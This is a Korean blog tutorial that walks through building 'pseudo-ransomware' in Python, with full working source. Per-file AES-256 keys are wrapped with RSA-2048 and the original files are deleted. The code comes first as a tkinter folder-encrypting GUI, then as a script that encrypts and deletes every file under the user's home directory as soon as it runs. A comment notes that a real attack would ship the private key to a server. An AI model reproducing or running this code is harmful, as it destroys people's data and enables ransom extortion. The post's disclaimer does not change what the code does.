파이썬이 제일 쉬워

[Python/Pycrypto] Pycrypto로 유사 랜섬웨어 간단하게 만들기 본문

Python

[Python/Pycrypto] Pycrypto로 유사 랜섬웨어 간단하게 만들기

HighBright 2024. 6. 15. 00:08

 

본 게시글은 정보보안, 파이썬 개발 정보 공유를 위해 제작되었습니다.

이외의 용도로 본 게시글의 정보를 악용할 시 발생하는 모든 책임은 본인에게 있습니다.

 

 

 

하이 빵가루 반갑습니당.

지난 시간에 Python으로 준내 간단한 AES 암호화를 하는 법을 알아봤습니다.

오늘은 이걸 이용해서 유사 랜섬웨어를 만들어보는 시간을 가져보도록 하겠슴다.

얘는 좀 길긴한데 그래도 이해만 하면 준내 간단합니다.

 

근데, 먼저 랜섬웨어가 사용하는 암호화 방식이 뭔지 알아야 흉내를 내든가 말든가 하겠죠?

 

물론 랜섬웨어는 그 종류마다 암호화 방식이 천차만별입니다만은...

그래도 가장 많이 사용되는 방식을 한 번 가져와 봅시다.

 

이 방법은 AES와 RSA 암호화를 둘 다 사용합니다.먼저 RSA로 새롭게 공개키 하나와 비공개 키 하나를 생성해줍니다.

(공개키 암호화 방식으로, 암호화는 공개키로, 복호화는 비공개키로만 가능한 암호화 방식임.)

RSA 암호화에 대해 자세히 알고 싶다면 이거 참조 => https://blog.naver.com/bjwsuper/222493943429

RSA 암호화는 보안성은 AES 암호화에 비해 준내 짱짱하지만, 개ㅐㅐㅐㅐㅐㅐㅐㅐㅐㅐ느립니다.

이걸 랜섬웨어에 썼다가는 암호화 끝나기전에 걸리기 때문에.

그래서 얘네들은 이걸 AES하고 쓰까묵습니다.

 

즉, 각 파일마다 AES 암호화로 빠르게 암호화(파일마다 키 다름)하고

그 키를! RSA 암호화를 적용해버립니다.

이러면 빠르게 파일을 암호화 할 수 있고, 보안성도 어느정도 겟할수 있어서 좋습니다.

 

아래는 모식도입니당.

허접 ㅈㅅ

근데 RSA2048로 암호화된 AES256 Key는 그림처럼 파일 자체에 저장하기도 하고 따로 metadata에 저장하기도 합니다.

무튼 이제 원리를 알았으니까 빠르게 코드를 짜봅시다.

 

먼저 RSA의 공개키와 비공키를 생성해줍니다.

from Crypto.PublicKey import RSA
 
def make_keys():
    key = RSA.generate(2048) #키 생성
    private_key = key.export_key() #비공개 키 추출
    public_key = key.publickey().export_key() #공개 키 추출
    with open("private.pem", "wb") as f: #비공개 키만 따로 저장 (예제라서 파일로 저장했지 실제론 따른 서버 같은 곳으로 보내야함)
        f.write(private_key)
    return public_key

 

그리고 나선 새롭게 RSA2048 Cipher를 만들어줍시다.

from Crypto.Cipher import AES, PKCS1_OAEP
 
def enc_file(file_path):   
    rsa_cipher = PKCS1_OAEP.new(RSA.import_key(make_keys()))
    ...

 

PKCS1_OAEP는 RSA 암호화의 종류중 하나로, Optimal Asymmetric Encryption Padding의 약자입니다.

얘는 추가적으로 패딩을 해서 그냥 RSA 보다 보안성을 높여줍니다.

자세한 설명은 여기 참조 => https://blog.naver.com/PostView.nhn?blogId=ilikebigmac&logNo=221725226361

 

이제 AES로 파일을 암호화하고 그 키를 RSA로 암호화 한다음 저장하고 기존 파일은 지우는 함수를 하나 만들어주면,

from Crypto.Random import get_random_bytes
import os
 
def enc_file(file_path):   
    rsa_cipher = PKCS1_OAEP.new(RSA.import_key(make_keys()))
    aes_key = get_random_bytes(32)  # AES 키 생성 (랜덤으로)
    cipher = AES.new(aes_key, AES.MODE_EAX) # AES cipher 생성 EAX를 사용했슴다. 이게 CBC 보다 보안성이 높음요
   
    with open(file_path, 'rb') as f:
        file_data = f.read()
   
    ciphertext, tag = cipher.encrypt_and_digest(file_data) # EAX방식으로 암호화하면 암호화된 데이터와 tag를 반환해줍니다.
    enc_aes_key = rsa_cipher.encrypt(aes_key) # 이제 AES 키는 암호화해서
   
    with open(file_path + '.enc', 'wb') as enc_file:
        for data in (cipher.nonce, tag, enc_aes_key, ciphertext): # 최종 파일에 다 때리박아줍니다.
            enc_file.write(data)

    os.remove(file_path) # 기존 파일은 삭제

 

완성!!!!

 

근데 이건 아직 랜섬웨어가 아니죠?

전체 컴퓨터 파일을 대상으로 쫘아아악 실행되야 랜섬웨어라 할 수 있고, 적어도 폴더 단위로는 해야되지 않겄습니까.

하지만 전체 파일 대상으로 했다가 진짜 큰일 날 수도 있으니까 일단 폴더를 지정해서 그걸 암호화 하는걸로 바까봅시다.

 

전 GUI충이기 때문에 tkinter로 대충 GUI 하나 만들어줍시다.

대충 폴더 선택이랑, 암호화 버튼 있음 되겠죠잉

 

전체 코드 첨부

 

from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
import tkinter as tk
from tkinter import filedialog
import os

def make_keys():
    key = RSA.generate(2048) #키 생성
    private_key = key.export_key() #비공개 키 추출
    public_key = key.publickey().export_key() #공개 키 추출
    with open("private.pem", "wb") as f: #비공개 키만 따로 저장 (예제라서 파일로 저장했지 실제론 따른 서버 같은 곳으로 보내야함)
        f.write(private_key)
    return public_key

def encrypt_file(file_path, rsa_cipher):
    aes_key = get_random_bytes(32)  # AES 키 생성 (랜덤으로)
    cipher = AES.new(aes_key, AES.MODE_EAX) # AES cipher 생성 EAX를 사용했슴다. 이게 CBC 보다 보안성이 높음요
    with open(file_path, 'rb') as f:
        file_data = f.read()
    ciphertext, tag = cipher.encrypt_and_digest(file_data) # EAX방식으로 암호화하면 암호화된 데이터와 tag를 반환해줍니다.
    enc_aes_key = rsa_cipher.encrypt(aes_key) # 이제 AES 키는 암호화해서
    with open(file_path + '.enc', 'wb') as enc_file:
        for data in (cipher.nonce, tag, enc_aes_key, ciphertext): # 최종 파일에 다 때리박아줍니다.
            enc_file.write(data)
    os.remove(file_path) # 기존 파일은 삭제


def select_folder(): # 폴더 선택
    folder_path = filedialog.askdirectory()
    if folder_path:
        path_entry.insert(0, folder_path)

def get_file_paths(folder_path): # 폴더 주소 받아서 그 하위 파일들을 전부 list형태로 저장하고 반환하는 함수
    file_paths = []
    for root, directories, files in os.walk(folder_path): # 어떻게 함수 이름이 walk ㅋㅋ
        for filename in files:
            file_paths.append(os.path.join(root, filename))
    return file_paths

def enc_folder():
    rsa_cipher = PKCS1_OAEP.new(RSA.import_key(make_keys())) # 얘 위치 일로 옮겼습니다!!
    folder_path = path_entry.get() # 파일 주소 받아와서
    for data in get_file_paths(folder_path): # 암호화 ㄱㄱ
        encrypt_file(data, rsa_cipher)
    print("Done!")
   

root = tk.Tk()
root.title("어썸웨어")

path_entry = tk.Entry(root, width=100)
path_entry.grid(row=0, column=0, padx=10, pady=20)

select_button = tk.Button(root, text="폴더 선택", command=select_folder)
select_button.grid(row=0, column=1, padx=10, pady=20)

enc_button = tk.Button(root, text="암호화", width=100, command=enc_folder)
enc_button.grid(row=1, column=0, columnspan=2, padx=10, pady=20)

root.mainloop()

 

 

자 이렇게 잘 암호화가 되는 걸 확인할 수 있슴다.

더보기

======================== 전체 파일 암호화 ========================

import os
from Crypto.Cipher import AES, PKCS1_OAEP
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes

def encrypt_file(file_path, rsa_cipher):
    aes_key = get_random_bytes(32)  # AES 키 생성 (랜덤으로)
    cipher = AES.new(aes_key, AES.MODE_EAX) # AES cipher 생성 EAX를 사용했슴다. 이게 CBC 보다 보안성이 높음요
    with open(file_path, 'rb'as f:
        file_data = f.read()
    ciphertext, tag = cipher.encrypt_and_digest(file_data) # EAX방식으로 암호화하면 암호화된 데이터와 tag를 반환해줍니다.
    enc_aes_key = rsa_cipher.encrypt(aes_key) # 이제 AES 키는 암호화해서
    with open(file_path + '.enc''wb'as enc_file:
        for data in (cipher.nonce, tag, enc_aes_key, ciphertext): # 최종 파일에 다 때리박아줍니다.
            enc_file.write(data)
    os.remove(file_path) # 기존 파일은 삭제

def make_keys():
    key = RSA.generate(2048#키 생성
    private_key = key.export_key() #비공개 키 추출
    public_key = key.publickey().export_key() #공개 키 추출
    with open("all_file_private.pem""wb"as f: #비공개 키만 따로 저장 (예제라서 파일로 저장했지 실제론 따른 서버 같은 곳으로 보내야함)
        f.write(private_key)
    return public_key

def enc_all_files():
    rsa_cipher = PKCS1_OAEP.new(RSA.import_key(make_keys()))
    for root, directories, files in os.walk(os.path.expanduser('~')):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            encrypt_file(file_path, rsa_cipher)
               
enc_all_files()

 

일단 이론상 만들어보기는 했는데 잘 작동할지는 미지숩니다. 괜히 이거 실행시켰다가 큰일나지 마세요....

 

담 시간에는 이제 복호화를 하는 방법에 대해 알아봅시당 ㅃ2염

Comments